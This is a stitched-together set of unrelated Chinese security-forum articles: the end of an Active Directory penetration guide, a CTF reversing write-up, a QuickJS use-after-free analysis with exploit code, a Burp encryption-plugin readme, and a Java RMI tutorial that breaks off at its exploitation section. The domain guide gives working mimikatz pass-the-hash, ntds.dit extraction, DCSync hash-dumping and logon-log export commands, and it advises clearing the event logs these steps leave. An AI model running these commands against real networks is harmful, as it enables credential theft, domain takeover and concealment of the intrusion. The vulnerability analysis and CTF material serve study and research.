可以大致看出pth是利用NTLM认证机制的特性进行哈希传递，这会使在渗透场景中，使用NTLM认证的任何服务或服务器，例如SMB、WEB应用等，变得十分脆弱。
废话不多说，直接举几个栗子：
下面都是使用mimikatz来进行pth攻击的例子
a. psexec
privilege::debug
sekurlsa::pth /user:user /domain:test /ntlm:xxxxxxxx
PsExec.exe /accepteula \\192.168.1.1 cmd.exe
b. wmiexec
wmiexec就是用的hash
python3 wmiexec.py test.com/[email protected] -hashes xxxx:xxx(LMHASH:NTHASH)
c. rdp
privilege::debug
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
然后输入地址直接连接就可以了。
这个默认是不开的，需要开启策略：
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
如果有特定用户RDP需求可以通过psexec上去开启策略然后RDP上去。
d. web application
如果使用了NTLM认证的网站，例如在IIS配置了NTLM认证，也可以使用pth攻击，具体可以查看[这篇文章](https://labs.f-secure.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/)。
privilege::debug
sekurlsa::pth /user:pth /ntlm:57f5f9f45e6783753407ae3a8b13b032 /domain:TEST /run:cmd.exe
在弹出的命令行执行
"C:\Program Files\internet explorer\iexplore.exe"
在IE-Internet选项-安全-本地Internet-站点-高级，添加目标站点到区域，
然后访问目标网站即可完成NTLM认证。
到现在为止，菜菜鸡已经有了意大利炮，可以向域控发起攻击了。
### 三、中期信息收集
现在菜菜鸡已经登陆上域控了，那么菜菜鸡下一步该做什么呢？这里不禁要思考，域控有什么？通常来说，域控通常会有：
1. 域所有用户的hash和域组织结构
2. DNS
3. 可能保存其它域管的明文密码
4. 域认证日志
我们首要目标是 **域所有用户的hash和域组织结构** ，其次再是DNS和域认证日志
1. ntds.dit导出
Ntds.dit是主要的AD数据库，包括有关域用户，组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值，使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
但通常我们没办法直接复制它，直接复制会提示"文件正在使用"，所以我们可以通过Shadow Copy来复制它。
参考[这篇文章](https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-%E8%8E%B7%E5%8F%96NTDS.dit.html)，可以知道系统自带两个命令：ntdsutil和vssadmin，通过这两个命令可以将ntds.dit导出，不过会产生Event
ID为7036和98的日志，注意清除，下面以ntdsutil为例：
a. 创建快照：
ntdsutil snapshot "activate instance ntds" create quit quit
该命令会返回快照的guid。
b. 挂载快照
ntdsutil snapshot "mount {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit
该命令会返回挂载到的位置。
c. 复制ntds.dit
copy C:\$SNAP_202101181507_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
d. 卸载快照
ntdsutil snapshot "unmount {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit
e. 删除快照
ntdsutil snapshot "delete {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit
f. 查看是否完成卸载和删除
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
然后再运行：
reg save HKLM\SYSTEM sys.hiv
将sys.hiv拖回来，配合ntds.dit就可以将数据库给解出。
除此之外，还有很多种利用Shadow Copy的方法，但原理都大同小异。
2. 域hash导出
域hash导出的方法有很多种， 下面举三个例子：
a. ntds.dit
在上文中，我们已经获取到了ntds.dit和HKLM\SYSTEM注册表，利用Impacket的secretsdump.py就可以解出：
python secretsdump.py -ntds ntds.dit -system registry/SYSTEM LOCAL --outputfile hash.txt
b. mimikatz
利用mimikatz也可以导出域的hash，并且不一定要在域控上，但权限要够：
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
c. secretsdump.py
secretsdump.py是Impacket里的一个脚本，跟wmiexec一样可以用hash认证：
python secretsdump.py test.com/[email protected] -just-dc -hashes xxxxx:xxxxx
3. DNS记录导出
在域环境中，域控通常也承担DNS的职能，所以我们可以直接从域控上导出该域控管理的DNS记录。
# 枚举出所有区域，本域或域林中其它区域管理的区域
Dnscmd DC.test.com /EnumZones
# 更详细的列出某个域名的DNS记录，该域名得是该域管理下的
Dnscmd . /ZonePrint test.com
# 简洁的列出某个域名的DNS记录
Dnscmd . /EnumRecords test.com .
下面给出一个网上找的powershell导出Dns的脚本，这个导出的DNS记录也比较详细：
# powershell 导dns
$Zones = @(Get-DnsServerZone)
ForEach ($Zone in $Zones) {
Write-Host "`n$($Zone.ZoneName)" -ForegroundColor "Green"
$Zone | Get-DnsServerResourceRecord |fl
}
如果是不在域控的情况下，也可以利用dnscmd远程导dns记录，不过要借助mimikatz的pth功能。
4. 域认证记录导出
利用命令：
wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true > C:\Windows\temp\Evtlogon.txt
将经过该域控认证的认证日志导出，其中包含了一些用户名和被登陆机器的IP。
### 四、后期信息收集
在经过中期信息收集之后，后期的扩展目标就不是单纯的某台机器，而是人与文档，可以尝试着根据在域控收集到的组织结构和域认证记录找到某个部门的IP段从而进行定向攻击，提升效率。总而言之还是需要大量的信息收集才能达到目的，最终菜菜鸡也通过翻文档和翻机器找到想要的东西，完成了域的渗透。
### 五、总结
在真实环境中，域的复杂程度取决于域的大小、运维人员的专业程度，有时候运维人员不专业，网段不隔离，没有防火墙，没有流量审计，会让整个渗透变得十分简单，但是如果做得十分专业，网段隔离，有防火墙，有流量审计等，会让整个渗透变得十分困难，这个时候就十分考验菜菜鸡的对抗能力了，但是借助好的方法和工具往往能如虎添翼，让敌人措手不及。 | 社区文章 |
# 【WriteUp】labyrenth CTF windows track挑战（上）
|
##### 译文声明
本文是翻译文章，文章来源：jmprsp
原文地址：<https://jmprsp.wordpress.com/2016/08/31/labyrenth-windows-track-challenge-1/>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
**我花了一周时间完成了Palo Alto CTF、Windows
和Docs两条轨道的测试，现在我将在文章中分享我的解决方案，希望读者朋友可以从中学到一些解决恶意软件技术的有用技巧。**
**
**
**文件: AntiD.exe**
**SHA256:** 49f3638065722b96809cb72c226d86566783d510c968d516436aa7c248d608ee
**加壳** ︰自定义 UPX
**使用工具** : ExeInfo, IDA Pro, Ollydbg, Scylla & CFF Explorer
**代码与二进制文件：**
[https://github.com/jmprsp/labyrenth/tree/master/Window-Challenge-1](https://github.com/jmprsp/labyrenth/tree/master/Window-Challenge-1)
**说明：**
这一挑战使用了UPX用来加壳，但是加成了阻止upx-d运行的模式。它还使用了一些反调试技术来遏制调试工具的使用。具体的标记还不是很清楚，所以需要分析背后的数学函数并解码标记。
看起来该二进制文件使用的加壳工具是UPX。让我们试着用官方工具进行解码，虽然看起来并不能解码成功。
在IDA
Pro中加载该二进制文件，我们可以观察该二进制文件确实经过加壳。从下面的截图中我们只能看到一个函数和一个已加壳二进制文件的指令。接下来，我们可以清楚地看到有一个尾部跳转。要手动解压缩此二进制文件，我们只需要打破尾部跳转和转储进程。
但在那之前，我想要禁用 ASLR 来简化过程，并且同时进行调试。使用补偿资源管理器工具，只需取消选中"可以移动DLL "复选框并应用更改。
在 ollydbg 中运行AntiD.exe补丁；设置一个断点 @ 0x4091AC。运行程序直到中断并进入下一条指令。
下面是转储进程的示例，但是运行释放的过程中会弹出一个错误提示。
释放过程的 IAT 需要加以修正。为此，我使用了Scylla 工具来删除无效的导入和点击修复转储按钮。现在我们已经有了二进制文件的工作副本。
将解压缩的二进制文件加载到 IDA Pro，我们可以看到现在似乎已经解码成功。我们可以看到更多的函数、 进口和普通字符串。
使用X-字符串引用，我们将得到下面的函数。看起来0x004011B0 函数是解决这个难题的关键。
在 0x004011B0 函数中，我们可以看到一些编码变量以及其中40个变量和由XOR 、加法和减法组成的数学变换。
我简单地将这些代码转换成 PHP，然后尝试强制性标记。
标记: PAN{C0nf1agul4ti0ns_0n_4_J08_W3LL_D0N3!}
**文件: BabbySay.exe**
**SHA256:** 7CA8D9F1BE070DEB6535326AB4DFAE4824055F777DD929D2DEE9D0ADBEBDE785
**加壳：** 无
**使用工具:** exeinfo, Reflector
**代码与二进制文件：**<https://github.com/jmprsp/labyrenth/tree/master/Window-Challenge-2>
**说明：** 这次的挑战是以 C#语言编写的。使用反射器之类的工具进行反编译将会非常繁琐。你可能会在 github中发现反编译源代码的副本。
在执行这个挑战的时候，你将会看到下面这种画面，或许我们需要知道一定顺序的密钥才能得到标记。
使用反射器进行反编译很容易。Key_click 函数和所有有趣字符看起来都是可疑的。
我只是单纯地将另一个 c# 项目的大部分代码副本粘贴在这里 (做适当删除)并且将变量写入文件。编译并运行 XDDDD。
这样我们就得到了这样的标记。
标记: PAN{B4BBY_Y3LL5_50_L0UD!} | 社区文章 |
**作者：Alex**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 0x01 介绍
[Quickjs](https://bellard.org/quickjs/)是我偶像的偶像所写的一个轻量的js引擎，先放张benchmark。可以看到作为一个轻量的js引擎，Quickjs是十分优秀的。在评分上甚至和Hermes这种重型js引擎并驾齐驱。虽然和v8相比还是有不小差距，但是毕竟是一个人开发的，而且相比v8，Quickjs才620kb。
具体特性这里就不讲了，有兴趣的可以去Quickjs的作者网站 https://bellard.org/quickjs/，
了解Quickjs的更多特性的同时， 也顺便膜拜一下大神。
之所以写这篇文章还是因为偶像的一个微博。
接下来通过对POC和Quickjs的源码进行分析，看看这个漏洞到底是如何产生的，以及如何利用和修复。
## 0x02 POC
let spray = new Array(100);
let a = [{hack:0},1,2,3,4]; // 在heap上分配内存给{hack:0}, a[0]指向相对应的对象在堆中的地址
let refcopy = [a[0]]; // refcopy指向{hack:0}
// 抛出异常
a.__defineSetter__(3,()=>{throw 1;});
// 下面的排序会触发异常抛出，具体如何触发下文会有介绍
try {
a.sort(function(v){if (v == a[0]) return 0; return 1;});
}
catch (e){}
a[0] = 0; // 对象{hack：0}的引用减少1,小于等于0,导致内存被收回
for (let i=0; i<100; i++) spray[i] = [13371337]; // 覆盖被释放的内存
console.log(refcopy[0]); // 13371337
通过代码可以看出，这是一个典型的uaf（use after free）攻击。 通过array
sorting的漏洞，导致引用没有正确释放，从而使攻击者可以使用这个引用访问已经被释放的内存。接下来通过对Quickjs的源码分析，看看到底是什么原因导致这个漏洞。
## 0x03 源码分析
在Quickjs的源码里，我认为有三个函数对于理解这个漏洞是非常重要的，他们分别是js_array_sort，
JS_TryGetPropertyInt64， JS_FreeValue。其中后面两个函数将会被js_array_sort调用。
下面将对这三个函数进行具体分析。
首先是最重要的js_array_sort，漏洞就是出现在这个函数里面。
static JSValue js_array_sort(JSContext *ctx, JSValueConst this_val,
int argc, JSValueConst *argv)
{
...
/* XXX: should special case fast arrays */
for (i = 0; i < len; i++) {
if (pos >= array_size) {
size_t new_size, slack;
ValueSlot *new_array;
new_size = (array_size + (array_size >> 1) + 31) & ~15;
// 分配新的内存空间给一个临时队列，用于排序
new_array = js_realloc2(ctx, array, new_size * sizeof(*array),
&slack);
if (new_array == NULL)
goto exception;
new_size += slack / sizeof(*new_array);
array = new_array;
array_size = new_size;
}
// 尝试获取对象的属性，并赋值给新生成的array
// 此函数会增加{hack:0}的引用计数， 下文有专门介绍
present = JS_TryGetPropertyInt64(ctx, obj, i, &array[pos].val);
if (present < 0)
goto exception;
if (present == 0)
continue;
if (JS_IsUndefined(array[pos].val)) {
undefined_count++;
continue;
}
array[pos].str = NULL;
array[pos].pos = i;
pos++;
}
// 对array进行排序，当队列的元素少于等于特定值（6个）使用插入排序
rqsort(array, pos, sizeof(*array), js_array_cmp_generic, &asc);
if (asc.exception)
goto exception;
/* XXX: should special case fast arrays */
while (n < pos) {
if (array[n].str)
JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
if (array[n].pos == n) {
// 如果顺序没有发生改变，释放array里面对应的元素
JS_FreeValue(ctx, array[n].val);
} else {
// 如果顺序发生改变，将array里的值写回对象对应的属性，这里触发异常抛出
// 直接进入异常处理部分
// a.__defineSetter__(3,()=>{throw 1;});
if (JS_SetPropertyInt64(ctx, obj, n, array[n].val) < 0) {
n++;
goto exception;
}
}
n++;
}
js_free(ctx, array);
for (i = n; undefined_count-- > 0; i++) {
if (JS_SetPropertyInt64(ctx, obj, i, JS_UNDEFINED) < 0)
goto fail;
}
for (; i < len; i++) {
if (JS_DeletePropertyInt64(ctx, obj, i, JS_PROP_THROW) < 0)
goto fail;
}
return obj;
exception:
for (n = 0; n < pos; n++) {
// 释放array里面对应的元素内存，导致对象reference减少1
// 这里出现重复释放（在进入异常处理前，一部分array中的元素已经释放）
// 下文有专门介绍
JS_FreeValue(ctx, array[n].val);
if (array[n].str)
JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
}
js_free(ctx, array);
fail:
JS_FreeValue(ctx, obj);
return JS_EXCEPTION;
}
接下来是JS_TryGetPropertyInt64， 这个函数会增加{hack:0}对象的引用计数。
static int JS_TryGetPropertyInt64(JSContext *ctx, JSValueConst obj, int64_t idx, JSValue *pval)
{
JSValue val = JS_UNDEFINED;
JSAtom prop;
int present;
// #define JS_ATOM_TAG_INT (1U << 31)
// #define JS_ATOM_MAX_INT (JS_ATOM_TAG_INT - 1)
// #define likely(x) __builtin_expect(!!(x), 1) 分支预测
if (likely((uint64_t)idx <= JS_ATOM_MAX_INT)) {
/* fast path */
// 全部都进入这个分支
present = JS_HasProperty(ctx, obj, __JS_AtomFromUInt32(idx));
if (present > 0) {
// JS_NewInt32里面调用JS_DupValue，将会增加对象{hack:0}的引用计数
val = JS_GetPropertyValue(ctx, obj, JS_NewInt32(ctx, idx));
// #define unlikely(x) __builtin_expect(!!(x), 0)
if (unlikely(JS_IsException(val)))
present = -1;
}
} else {
prop = JS_NewAtomInt64(ctx, idx);
present = -1;
if (likely(prop != JS_ATOM_NULL)) {
present = JS_HasProperty(ctx, obj, prop);
if (present > 0) {
val = JS_GetProperty(ctx, obj, prop);
if (unlikely(JS_IsException(val)))
present = -1;
}
JS_FreeAtom(ctx, prop);
}
}
*pval = val;
return present;
}
最后是JS_FreeValue。 顾名思义是一个减少引用计数，释放内存的函数。
static inline void JS_FreeValue(JSContext *ctx, JSValue v)
{
if (JS_VALUE_HAS_REF_COUNT(v)) {
JSRefCountHeader *p = JS_VALUE_GET_PTR(v);
// Quickjs使用引用计数的方式做垃圾回收
// 当引用减少到小于等于0时，释放相应内存
if (--p->ref_count <= 0) {
__JS_FreeValue(ctx, v);
}
}
}
## 0x04 原理和触发条件
Quickjs在进行sorting的时候主要有三个阶段。
* 第一阶段是生成一个新的array，将要排序的array object(a = [{hack:0},1,2,3,4])通过getproperty的方式(主要函数是JS_TryGetPropertyInt64)，把value写入array。
* 第二个阶段是对这个array进行排序（rqsort）。
* 第三个阶段是将这个array里面的值通过setproporty的方法重新写回object。而出现错误的地方就是在第三个阶段。 当排序的过后，如果array里面的元素顺序没有发生变化，相应的元素内存会被马上释放（准确来说是减少引用次数）。但是如果之后回写剩余元素的时候出现异常，会进入异常处理的部分。这里整个array里的所有元素又会被重新释放一次，而这里面就包括了之前因为顺序没有变化而已经释放的元素，导致引用计数被多减少一次。
搞清楚原理之后，我们就知道要触发这个漏洞的条件是
1. 对有对象引用的队列进行排序
2. 排序时抛出异常
3. 对队列中的对象进行引用，这样内存错误释放后，仍然可以访问相应内存
## 0x05 利用
一般对这种uaf的利用都是用函数地址去覆盖被错误释放的内存，从而实现执行任意代码。这里面涉及到了堆栈的内存分配和释放，有兴趣的可以看看[Modern
Binary Exploitation CSCI 4968](http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf)，里面有详细的关于堆栈漏洞的利用原理的介绍。
利用代码如下
let spray = new Array(100);
let a = [{hack:0},1,2,3,4];
let refcopy = [a[0]];
a.__defineSetter__(3,()=>{throw 1;});
try {
a.sort(function(v){if (v == a[0]) return 0; return 1;});
}
catch (e){}
a[0] = 0;
// 用函数地址覆盖错误释放的内存
for (let i=0; i<100; i++) spray[i] = () => {console.log("hack")};
console.log(refcopy[0]()); // "hack"
## 0x06 修复
之前原理部分已经提到，出错的原因在于排序出错的时候，array的所有元素都会被引用计数减1，造成重复释放。所以只要去掉重复释放的地方就可以。一种修改方法是当顺序不变的时候先不释放，等全部元素都写回object之后在把array中所有元素集中一起释放。还有一种修改方法是在出错的时候不要重复释放之前已经释放的元素，具体修改如下：
...
exception:
// for (n = 0; n < pos; n++) { // 释放整个array的所有元素
for (; n < pos; n++) { // 从出错的地方之后开始释放
// 释放array里面对应的元素内存，导致对象reference减少1
JS_FreeValue(ctx, array[n].val);
if (array[n].str)
JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
}
在7月21号的新release中，这个uaf的漏洞已经被修复。通过diff我们可以发现作者选择了第二种更简单高效的修复方式。
## 0x07 道高一尺，魔高一丈
在新Release发出来没几天，又有人发现新的uaf漏洞。推特发出没多久，漏洞发现者就说，这个漏洞已经被Quickjs的作者修复了。不愧是大神。期待Quickjs的下一个release！
## Reference
1. [Modern Binary Exploitation CSCI 4968](http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf)
2. <https://bellard.org/quickjs/>
* * * | 社区文章 |
**作者：whwlsfb
项目地址：<https://github.com/whwlsfb/BurpCrypto>**
BurpCrypto是一款支持多种加密算法、或直接执行浏览器JS代码的BurpSuite插件。
## 编译
$ mvn package
## 为了解决什么痛点
目前越来越多的网站系统在登录接口、数据请求接口中加入各式各样的加密算法，甚至有些网站在每次请求前都动态请求加密密钥等措施，对接口渗透工作造成较大障碍。依赖于BurpSuite中的那些编码方式、Hash算法已经远远不够，通过BurpCrypto内置的RSA、AES、DES模块可应对较为简单的前端加密接口，较为复杂的加密算法，可使用ExecJS模块直接手动编写处理代码。同时为了降低ExecJS模块的上手难度，未来将推出远程[JS模块仓库](https://github.com/whwlsfb/BurpCrypto-JsLibrary)，支持远程加载已经测试通过的JS功能代码，方便直接调用。
## 未来开发计划
## 安装
BurpCrypto可从其官方[Github](https://github.com/whwlsfb/BurpCrypto/releases)页面进行下载已编译好的版本，或下载源代码本地编译，然后在BurpSuite的扩展列表中添加插件，等待Output中输出`BurpCrypto
loaded successfully!`则表示插件加载成功。
## 基础加密模块使用
### 基础编码方式
由于不同网站开发人员的使用习惯，加密时所使用的密钥、加密后的密文会使用不同的编码方式。目前插件内密钥输入所支持的编码方式有如下三种
* Base64
* HEX
* UTF8String
密文输出所支持的编码方式有如下两种
* Base64
* HEX
ExecJS模块的输出内容由JS代码决定。
#### 编码方式的辨别方法
> 为了照顾到对编码方式不了解的朋友，此处会简单讲解这些编码方式的辨别方法，已经了解的朋友可直接跳过参阅下一章节的具体使用讲解.
Base64编码与HEX编码常常用于编码二进制数据，UTF8String则是我们操作系统、网页中最常见的字符串的编码方式，下方是Base64、HEX、UTF8String编码的示例：
对字符串"test_z"进行Base64、HEX编码的结果
Base64：dGVzdF96
HEX：746573745f7a
UTF8String：test_z
### AES/DES/RSA加密
#### 对称加密算法
AES和DES加密都属于对称加密算法，既加解密使用同一套密钥的加密算法，同时也是目前前端加密中较为常见的加密算法，目前插件支持的AES加密算法有：
* AES/CBC/PKCS5Padding
* AES/CBC/NoPadding
* AES/CBC/ZeroPadding
* AES/ECB/PKCS5Padding
* AES/ECB/NoPadding
* AES/ECB/ZeroPadding
* AES/OFB/PKCS5Padding
* AES/OFB/NoPadding
* AES/OFB/ZeroPadding
* AES/CFB/PKCS5Padding
* AES/CFB/NoPadding
* AES/CFB/ZeroPadding
* AES/CTR/PKCS5Padding
* AES/CTR/NoPadding
* AES/CTR/ZeroPadding
DES加密算法有：
* DES/CBC/PKCS5Padding
* DES/CBC/ZeroPadding
* DES/CBC/NoPadding
* DES/ECB/PKCS5Padding
* DES/ECB/ZeroPadding
* DES/ECB/NoPadding
* DES/OFB/PKCS5Padding
* DES/OFB/ZeroPadding
* DES/OFB/NoPadding
* DES/CFB/PKCS5Padding
* DES/CFB/ZeroPadding
* DES/CFB/NoPadding
* DESede/CBC/PKCS5Padding
* DESede/CBC/ZeroPadding
* DESede/CBC/NoPadding
* DESede/ECB/PKCS5Padding
* DESede/ECB/ZeroPadding
* DESede/ECB/NoPadding
* DESede/OFB/PKCS5Padding
* DESede/OFB/ZeroPadding
* DESede/OFB/NoPadding
* DESede/CFB/PKCS5Padding
* DESede/CFB/ZeroPadding
* DESede/CFB/NoPadding
* strEnc
> 在前端JS中常常会使用PKCS7Padding，在本模块中可使用PKCS5Padding代替，不影响使用。
>
> DES加密中的strEnc算法是取自作者Guapo的一种3DES的模块，在少数系统中被使用，此处为了方便使用也引入了进来。
#### 非对称加密算法
RSA算法则属于非对称加密算法，密钥分为公钥与私钥，暂时仅支持公钥加密，RSA加密支持两种公钥格式的输入，分别为
* X509
* ModulusAndExponent
X509密钥格式表现为一串由Base64编码后的字符串，常常以`MIG`开头。ModulusAndExponent(模数，指数)则表现为两个HEX编码的参数，Modulus是模数，常常较长，Exponent是指数，常常只有6位，以下为密钥示例：
X509: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC0hrRIjb3noDWNtbDpANbjt5Iwu2NFeDwU16Ec87ToqeoIm2KI+cOs81JP9aTDk/jkAlU97mN8wZkEMDr5utAZtMVht7GLX33Wx9XjqxUsDfsGkqNL8dXJklWDu9Zh80Ui2Ug+340d5dZtKtd+nv09QZqGjdnSp9PTfFDBY133QIDAQAB
ModulusAndExponent:
Modulus: A1E4D93618B8B240530853E87738403851E15BBB77421F9B2377FB0B4F1C6FC235EAEC92EA25BB76AC221DCE90173A2E232FE1511909C76B15251D4059B288E709C1EF86BCF692757AAD736882DD1E98BEDFED9311A3C22C40657C9A52880BDC4B9E539041D44D52CB26AD13AB086F7DC294D144D6633A62EF91CA1775EB9A09
Exponent: 010001
#### 使用
使用方式也较为简单，首先判断相关接口的加密算法，填入相应算法的加密密钥，点击`Add
processor`，在弹出的加密配置命名输入对话框中，给予一个易于分辨的名称，提示`Apply processor success!`即表示添加成功。
此处以AES的CBC模式，填充Pkcs7，Key：Y3MxMTg1MzUyOS4x，IV：9875643210132456，Base64编码的方式做为示例。
[
若要删除processor则要点击`Remove processor`，输入刚刚编写的配置名，即可删除。
> 关于前端加密的分析过程可参阅jsEncrypter开发者c0ny1的文章： <https://gv7.me/articles/2018/fast-> locate-the-front-end-encryption-method/>
#### 补充阅读
* [对单加密参数的登录接口进行密码爆破的一种方法](https://blog.wanghw.cn/security/burpcrypto-single-parameter-cryptoblast.html)
## ExecJS模块使用
由于软件开发的复杂性，诸如多层嵌套加密、引入时间变量、动态密钥、魔改加密算法、新算法的涌现，插件注定永远无法做到对所有加密算法的百分百覆盖，所以提供了ExecJS模块，为动手能力较强的使用者提供一条新途径。
>
> 因JS新特性的快速迭代，插件中内置了Rhino、HtmlUnit、Jre内置三种JS执行引擎，各种执行引擎的优劣势可参阅[BurpCrypto未来开发计划](https://blog.wanghw.cn/security/burpcrypto-> future-development-plan.html)中对于各个引擎的特性介绍。
### 编写简单的JS脚本
使用ExecJS模块前需要先切换至插件的`ExecJS`选项卡，像常见编程语言一样，你需要编写一个入口函数。不过不同于其他编程语言的入口函数，插件将会把待处理/加密的内容传递给入口函数的第一个参数，而你编写的入口函数则需要在处理结束后返回处理结果。
为了方便使用，插件内置了一个快速生成函数体的菜单，在代码编辑器中的右键菜单中点击`Append Simple
Function`，即可生成一个空函数`calc`，并自动在下面的入口函数名填写入口函数为`calc`。
[
我们可以对该函数进行一些简单的修改，下面是一个示例脚本，该脚本将会把输入的内容倒转后再返回。
function calc(pass) {
return pass.split("").reverse().join("");
}
编辑完成后，点击`Add processor`即可添加成功。
[
### 引用内置JS库
> 目前内置的JS库只有MD5与Base64，后续版本将会上线在线JS仓库，操作步骤将会发生变动。
为避免常见库的频繁整理导入的工作量，插件目前内置了MD5和Base64库，使用方法为在编辑器的右键菜单中的`Include
Snippet`选中需要的JS库，即可引入。
[
## 在功能区中调用插件
### 加密
通过在上述几个模块中成功添加processor后，即可通过以下两个渠道进行使用。
#### QuickCrypto（全局调用）
BurpCrypto几乎可以在BurpSuite的任何位置进行调用，调用方法也较为简单，以下动图为示例：
[
#### Intruder（爆破模块）
在爆破模块中引用：
[
### 解密（查询原文）
由于部分算法产生的结果具有不可逆性（哈希算法、自定义的JS代码等），所以通过本插件生成的所有结果均被保存到本地的K/V数据库中，可以通过插件中的`Get
PlainText`功能获取原始明文。
使用方法为完整选中密文内容，右单击后找到BurpCrypto菜单中的`Get PlainText`功能，
> 此处演示的是RSA公钥加密后通过密文查询原始明文。
[
[
## 结尾
以上为本插件的使用说明，后续将会将会陆续加入国密算法、ExecJS远程模块，模块互调等小功能更新与Bug修复，如果各位师傅有更多的建议也欢迎提PR或者Issure，谢谢！
## 404星链计划
**BurpCrypto现已加入[404星链计划](https://github.com/knownsec/404StarLink)**
加入404星链计划社群，请扫码识别运营菜菜子二维码，添加时备注“星链计划”。
* * * | 社区文章 |
## 0x00 前言
上个文章我们了解到了远程动态代理机制，了解其创建动态代理创建对象的过程。但实际中我们java漏洞远程利用过程中，并不是说服务端会创建个远程代理让其客户端去实现攻击，而更多的是借助java的远程方式协议上的利用。所以我们来了解下java的RMI远程机制，看看我们是如何能够将其进行利用来攻击远程目标。
## 0x01 RMI机制概念
java RMI全称为 java Remote Method Invocation（java
远程方法调用），是java编程语言中，一种实现远程过程调用的应用程序编程接口。存储于java.rmi包中，使用其方法调用对象时，必须实现Remote远程接口，能够让某个java虚拟机上的对象调用另外一个Java虚拟机中的对象上的方法。两个虚拟机可以运行在相同计算机上的不同进程，也可以是网络上的不同计算机。
## 0x02 RMI基本名词
从RMI设计角度来讲，基本分为三层架构模式来实现RMI，分别为RMI服务端，RMI客户端和RMI注册中心。
**客户端:**
存根/桩(Stub):远程对象在客户端上的代理;
远程引用层(Remote Reference Layer):解析并执行远程引用协议;
传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。
**服务端:**
骨架(Skeleton):读取客户端传递的方法参数，调用服务器方的实际对象方法， 并接收方法执行后的返回值;
远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用;
传输层(Transport):监听客户端的入站连接，接收并转发调用到远程引用层。
**注册表(Registry):** 以URL形式注册远程对象，并向客户端回复对远程对象的引用。
## 0x03 流程原理
因为这个流程图讲解很细致了，我就不多描述了。我们直接看代码来进行讲解吧。
## 0x04 案例讲解
### 定义一个远程接口
package RMIProject;
import java.rmi.Remote;
import java.rmi.RemoteException;
// 定义一个远程接口，继承java.rmi.Remote接口
public interface HelloInterface extends Remote {
String Hello(String age) throws RemoteException;
}
这里我们定义了一个HelloInterface接口，定义了一个hello方法，同时抛出RemoteException异常。
同时我们在使用RMI远程方法调用的时候，需要事先定义一个远程接口，继承java.rmi.Remote接口，但该接口仅为RMI标识接口，本身不代表使用任何方法，说明可以进行RMI
java虚拟机调用。
同时由于RMI通信本质也是基于“网络传输”，所以也要抛出RemoteException异常。
### 远程接口实现类
package RMIProject;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// 远程接口实现类，继承UnicastRemoteObject类和Hello接口
public class HelloImp extends UnicastRemoteObject implements HelloInterface {
private static final long serialVersionUID = 1L;
protected HelloImp() throws RemoteException {
super(); // 调用父类的构造函数
}
@Override
public String Hello(String age) throws RemoteException {
return "Hello" + age; // 改写Hello方法
}
}
接着我们创建HelloImp类，继承UnicastRemoteObject类和Hello接口，定义改写HelloInterface接口的hello方法。
但远程接口实现类必须继承UnicastRemoteObject类，用于生成 Stub（存根）和 Skeleton（骨架）。
Stub可以看作远程对象在本地的一个代理，囊括了远程对象的具体信息，客户端可以通过这个代理和服务端进行交互。
Skeleton可以看作为服务端的一个代理，用来处理Stub发送过来的请求，然后去调用客户端需要的请求方法，最终将方法执行结果返回给Stub。
同时跟进UnicastRemoteObject类源代码我们可以发现，其构造函数抛出了RemoteException异常。但这种写法是十分不好的，所以我们通过super()关键词调用父类的构造函数。
## RMI服务器端
package RMIProject;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
// 服务端
public class RMIServer {
public static void main(String[] args) {
try {
HelloInterface h = new HelloImp(); // 创建远程对象HelloImp对象实例
LocateRegistry.createRegistry(1099); // 获取RMI服务注册器
Naming.rebind("rmi://localhost:1099/hello",h); // 绑定远程对象HelloImp到RMI服务注册器
System.out.println("RMIServer start successful");
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里客户端可以通过这个URL直接访问远程对象，不需要知道远程实例对象的名称，这里服务端配置完成。RMIServer将提供的服务注册在了
RMIService上,并且公开了一个固定的路径 ,供客户端访问。
### RMI客户端配置
package RMIProject;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
// 客户端
public class RMIClient {
public static void main(String[] args){
try {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello"); // 寻找RMI实例远程对象
System.out.println(h.Hello("run......"));
}catch (MalformedURLException e) {
System.out.println("url格式异常");
} catch (RemoteException e) {
System.out.println("创建对象异常");
} catch (NotBoundException e) {
System.out.println("对象未绑定");
}
}
}
客户端只需要调用 java.rmi.Naming.lookup 函数，通过公开的路径从RMIService服务器上拿到对应接口的实现类，
之后通过本地接口即可调用远程对象的方法 .
在整个过程都没有出现RMI Registry，他是去哪儿了嘛？实际上新建一个RMI
Registry的时候，都会直接绑定一个对象在上面，我们示例代码中的RMIServer类其实包含了RMI Registry和RMI
Server两部分。如下图所示。
接着我们先启动RMIServer类，再启动RMIClient类即可。
## 0x04 RMI机制利用
